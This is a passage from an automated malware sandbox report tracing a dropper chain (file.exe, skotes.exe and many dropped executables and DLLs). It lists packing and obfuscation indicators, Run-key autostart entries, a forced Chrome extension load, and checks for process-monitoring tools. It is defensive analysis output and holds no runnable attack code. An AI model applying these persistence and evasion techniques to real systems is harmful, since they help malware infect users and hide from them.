Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.850000.0.unpack :EW;.rsrc:W;.idata :W;dblbhqnk:EW;rrjzixml:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dblbhqnk:EW;rrjzixml:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 1.2.skotes.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W;dblbhqnk:EW;rrjzixml:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dblbhqnk:EW;rrjzixml:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Unpacked PE file: 12.2.5cda6c90d7.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Unpacked PE file: 22.2.b05c9e01f3.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wasfhoet:EW;ygjteyur:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wasfhoet:EW;ygjteyur:EW;.taggant:EW;
Binary contains a suspicious time stamp
Source: Y-Cleaner.exe.31.dr Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe1.5.dr Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: Bunifu_UI_v1.5.3.dll.31.dr Static PE information: real checksum: 0x0 should be: 0x400e1
Source: random[2].exe0.5.dr Static PE information: real checksum: 0x44582f should be: 0x447676
Source: cd2469328d.exe.5.dr Static PE information: real checksum: 0x0 should be: 0xc8597
Source: b6638733e4.exe.5.dr Static PE information: real checksum: 0x44582f should be: 0x447676
Source: 7z.exe.24.dr Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: graph.exe.16.dr Static PE information: real checksum: 0x0 should be: 0x46f82
Source: random[4].exe.5.dr Static PE information: real checksum: 0x1c78f1 should be: 0x1c6c54
Source: random[3].exe2.5.dr Static PE information: real checksum: 0x2b47d9 should be: 0x2b698f
Source: c9d0f96e57.exe.5.dr Static PE information: real checksum: 0x1e0ac5 should be: 0x1dfe7b
Source: soft[1].31.dr Static PE information: real checksum: 0x0 should be: 0x170243
Source: random[2].exe1.5.dr Static PE information: real checksum: 0x444939 should be: 0x441c4a
Source: skotes.exe.0.dr Static PE information: real checksum: 0x31f491 should be: 0x322e86
Source: Y-Cleaner.exe.31.dr Static PE information: real checksum: 0x0 should be: 0x170243
Source: random[2].exe.5.dr Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: cc6b47fc15.exe.5.dr Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: cc6f25572f.exe.5.dr Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: dll[1].31.dr Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Gxtuum.exe.13.dr Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: b05c9e01f3.exe.5.dr Static PE information: real checksum: 0x444939 should be: 0x441c4a
Source: random[3].exe1.5.dr Static PE information: real checksum: 0x2e060a should be: 0x2d75b0
Source: 35f0a75b93.exe.5.dr Static PE information: real checksum: 0x2e060a should be: 0x2d75b0
Source: 7z.dll.24.dr Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: random[1].exe2.5.dr Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: 54682ac64c.exe.5.dr Static PE information: real checksum: 0x2b47d9 should be: 0x2b698f
Source: 5cda6c90d7.exe.5.dr Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: 7739517025.exe.5.dr Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: file.exe Static PE information: real checksum: 0x31f491 should be: 0x322e86
Source: 142c991362.exe.5.dr Static PE information: real checksum: 0x1c78f1 should be: 0x1c6c54
Source: random[2].exe2.5.dr Static PE information: real checksum: 0x1e0ac5 should be: 0x1dfe7b
Source: random[1].exe0.5.dr Static PE information: real checksum: 0x0 should be: 0xc8597
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: dblbhqnk
Source: file.exe Static PE information: section name: rrjzixml
Source: file.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name: dblbhqnk
Source: skotes.exe.0.dr Static PE information: section name: rrjzixml
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.5.dr Static PE information: section name: .fptable
Source: af155ed129.exe.5.dr Static PE information: section name: .fptable
Source: random[1].exe1.5.dr Static PE information: section name:
Source: random[1].exe1.5.dr Static PE information: section name: .idata
Source: random[1].exe1.5.dr Static PE information: section name:
Source: random[1].exe1.5.dr Static PE information: section name: wekcazbo
Source: random[1].exe1.5.dr Static PE information: section name: ttllozcv
Source: random[1].exe1.5.dr Static PE information: section name: .taggant
Source: 5cda6c90d7.exe.5.dr Static PE information: section name:
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: .idata
Source: 5cda6c90d7.exe.5.dr Static PE information: section name:
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: wekcazbo
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: ttllozcv
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: .taggant
Source: cc6b47fc15.exe.5.dr Static PE information: section name:
Source: cc6b47fc15.exe.5.dr Static PE information: section name: .idata
Source: cc6b47fc15.exe.5.dr Static PE information: section name:
Source: cc6b47fc15.exe.5.dr Static PE information: section name: wekcazbo
Source: cc6b47fc15.exe.5.dr Static PE information: section name: ttllozcv
Source: cc6b47fc15.exe.5.dr Static PE information: section name: .taggant
Source: random[2].exe0.5.dr Static PE information: section name:
Source: random[2].exe0.5.dr Static PE information: section name: .idata
Source: random[2].exe0.5.dr Static PE information: section name:
Source: random[2].exe0.5.dr Static PE information: section name: dsmoqcnp
Source: random[2].exe0.5.dr Static PE information: section name: yktdnnda
Source: random[2].exe0.5.dr Static PE information: section name: .taggant
Source: b6638733e4.exe.5.dr Static PE information: section name:
Source: b6638733e4.exe.5.dr Static PE information: section name: .idata
Source: b6638733e4.exe.5.dr Static PE information: section name:
Source: b6638733e4.exe.5.dr Static PE information: section name: dsmoqcnp
Source: b6638733e4.exe.5.dr Static PE information: section name: yktdnnda
Source: b6638733e4.exe.5.dr Static PE information: section name: .taggant
Source: random[2].exe1.5.dr Static PE information: section name:
Source: random[2].exe1.5.dr Static PE information: section name: .idata
Source: random[2].exe1.5.dr Static PE information: section name:
Source: random[2].exe1.5.dr Static PE information: section name: wasfhoet
Source: random[2].exe1.5.dr Static PE information: section name: ygjteyur
Source: random[2].exe1.5.dr Static PE information: section name: .taggant
Source: b05c9e01f3.exe.5.dr Static PE information: section name:
Source: b05c9e01f3.exe.5.dr Static PE information: section name: .idata
Source: b05c9e01f3.exe.5.dr Static PE information: section name:
Source: b05c9e01f3.exe.5.dr Static PE information: section name: wasfhoet
Source: b05c9e01f3.exe.5.dr Static PE information: section name: ygjteyur
Source: b05c9e01f3.exe.5.dr Static PE information: section name: .taggant
Source: random[2].exe2.5.dr Static PE information: section name:
Source: random[2].exe2.5.dr Static PE information: section name: .idata
Source: random[2].exe2.5.dr Static PE information: section name:
Source: random[2].exe2.5.dr Static PE information: section name: tsdsdsrb
Source: random[2].exe2.5.dr Static PE information: section name: qtylzonp
Source: random[2].exe2.5.dr Static PE information: section name: .taggant
Source: c9d0f96e57.exe.5.dr Static PE information: section name:
Source: c9d0f96e57.exe.5.dr Static PE information: section name: .idata
Source: c9d0f96e57.exe.5.dr Static PE information: section name:
Source: c9d0f96e57.exe.5.dr Static PE information: section name: tsdsdsrb
Source: c9d0f96e57.exe.5.dr Static PE information: section name: qtylzonp
Source: c9d0f96e57.exe.5.dr Static PE information: section name: .taggant
Source: random[4].exe.5.dr Static PE information: section name:
Source: random[4].exe.5.dr Static PE information: section name: .idata
Source: random[4].exe.5.dr Static PE information: section name:
Source: random[4].exe.5.dr Static PE information: section name: ltyimmoj
Source: random[4].exe.5.dr Static PE information: section name: vmbhrkov
Source: random[4].exe.5.dr Static PE information: section name: .taggant
Source: 142c991362.exe.5.dr Static PE information: section name:
Source: 142c991362.exe.5.dr Static PE information: section name: .idata
Source: 142c991362.exe.5.dr Static PE information: section name:
Source: 142c991362.exe.5.dr Static PE information: section name: ltyimmoj
Source: 142c991362.exe.5.dr Static PE information: section name: vmbhrkov
Source: 142c991362.exe.5.dr Static PE information: section name: .taggant
Source: random[3].exe1.5.dr Static PE information: section name:
Source: random[3].exe1.5.dr Static PE information: section name: .idata
Source: random[3].exe1.5.dr Static PE information: section name: syphqzjl
Source: random[3].exe1.5.dr Static PE information: section name: tdmszgwn
Source: random[3].exe1.5.dr Static PE information: section name: .taggant
Source: 35f0a75b93.exe.5.dr Static PE information: section name:
Source: 35f0a75b93.exe.5.dr Static PE information: section name: .idata
Source: 35f0a75b93.exe.5.dr Static PE information: section name: syphqzjl
Source: 35f0a75b93.exe.5.dr Static PE information: section name: tdmszgwn
Source: 35f0a75b93.exe.5.dr Static PE information: section name: .taggant
Source: random[3].exe2.5.dr Static PE information: section name:
Source: random[3].exe2.5.dr Static PE information: section name: .idata
Source: random[3].exe2.5.dr Static PE information: section name: osxguznn
Source: random[3].exe2.5.dr Static PE information: section name: nksckbfu
Source: random[3].exe2.5.dr Static PE information: section name: .taggant
Source: 54682ac64c.exe.5.dr Static PE information: section name:
Source: 54682ac64c.exe.5.dr Static PE information: section name: .idata
Source: 54682ac64c.exe.5.dr Static PE information: section name: osxguznn
Source: 54682ac64c.exe.5.dr Static PE information: section name: nksckbfu
Source: 54682ac64c.exe.5.dr Static PE information: section name: .taggant
Source: service123.exe.19.dr Static PE information: section name: .eh_fram
Source: CaHNbeclRGcBxNSvHjFX.dll.19.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0086D91C push ecx; ret 0_2_0086D92F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00861359 push es; ret 0_2_0086135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009BD91C push ecx; ret 1_2_009BD92F
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0033534A push ecx; ret 8_2_0033535D
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_0033534A push ecx; ret 10_2_0033535D
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D96D48 pushad ; retf 11_3_00D96D49
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA11F3 pushad ; iretd 11_3_00DA12B1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA1522 pushfd ; iretd 11_3_00DA1551
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D8C90C pushad ; iretd 11_3_00D8CE19
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D8CEE9 push ebp; retf 11_3_00D8CFE7
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D96D48 pushad ; retf 11_3_00D96D49
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA11F3 pushad ; iretd 11_3_00DA12B1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA1522 pushfd ; iretd 11_3_00DA1551
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA11F3 pushad ; iretd 11_3_00DA12B1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA1522 pushfd ; iretd 11_3_00DA1551
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D96D48 pushad ; retf 11_3_00D96D49
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA11F3 pushad ; iretd 11_3_00DA12B1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00DA1522 pushfd ; iretd 11_3_00DA1551
Source: file.exe Static PE information: section name: entropy: 7.022156452672956
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.022156452672956
Source: random[1].exe1.5.dr Static PE information: section name: entropy: 7.980952558000639
Source: random[1].exe1.5.dr Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: entropy: 7.980952558000639
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: cc6b47fc15.exe.5.dr Static PE information: section name: entropy: 7.980952558000639
Source: cc6b47fc15.exe.5.dr Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: random[2].exe0.5.dr Static PE information: section name: dsmoqcnp entropy: 7.955290208617223
Source: b6638733e4.exe.5.dr Static PE information: section name: dsmoqcnp entropy: 7.955290208617223
Source: random[2].exe1.5.dr Static PE information: section name: wasfhoet entropy: 7.954660871223602
Source: b05c9e01f3.exe.5.dr Static PE information: section name: wasfhoet entropy: 7.954660871223602
Source: random[2].exe2.5.dr Static PE information: section name: tsdsdsrb entropy: 7.947776160551148
Source: c9d0f96e57.exe.5.dr Static PE information: section name: tsdsdsrb entropy: 7.947776160551148
Source: random[4].exe.5.dr Static PE information: section name: entropy: 7.972390819276659
Source: random[4].exe.5.dr Static PE information: section name: ltyimmoj entropy: 7.953284691458963
Source: 142c991362.exe.5.dr Static PE information: section name: entropy: 7.972390819276659
Source: 142c991362.exe.5.dr Static PE information: section name: ltyimmoj entropy: 7.953284691458963
Source: Y-Cleaner.exe.31.dr Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].31.dr Static PE information: section name: .text entropy: 7.918511524700298

Persistence and Installation Behavior
barindex
Creates files in the system32 config directory
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json
Drops PE files to the document folder of the user
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\Documents\DBAEGCGCGI.exe Jump to dropped file
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\soft[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File created: C:\Users\user\AppData\Local\Temp\MSMQUTWP7M2KT78991EY50.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Temp\YVDVBfFGR3eAeBewwD9vewWwVe0B\Y-Cleaner.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Program Files\Windows Media Player\graph\graph.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe File created: C:\Users\user\AppData\Local\Temp\main\7z.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Temp\YVDVBfFGR3eAeBewwD9vewWwVe0B\Bunifu_UI_v1.5.3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019813001\cc6b47fc15.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019812001\54682ac64c.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File created: C:\Users\user\AppData\Local\Temp\CaHNbeclRGcBxNSvHjFX.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\Documents\DBAEGCGCGI.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File created: C:\Users\user\AppData\Local\Temp\W5BO33UUYQPDZ9CE875CW1XCH.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe File created: C:\Users\user\AppData\Local\Temp\main\7z.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File created: C:\Users\user\AppData\Local\Temp\RHNKLLDCS2RT92VKR9MYB3VQ90O2X.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\soft[1] Jump to dropped file
Installs a Chrome extension
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35f0a75b93.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 142c991362.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54682ac64c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Registry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2e4e1b8516.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
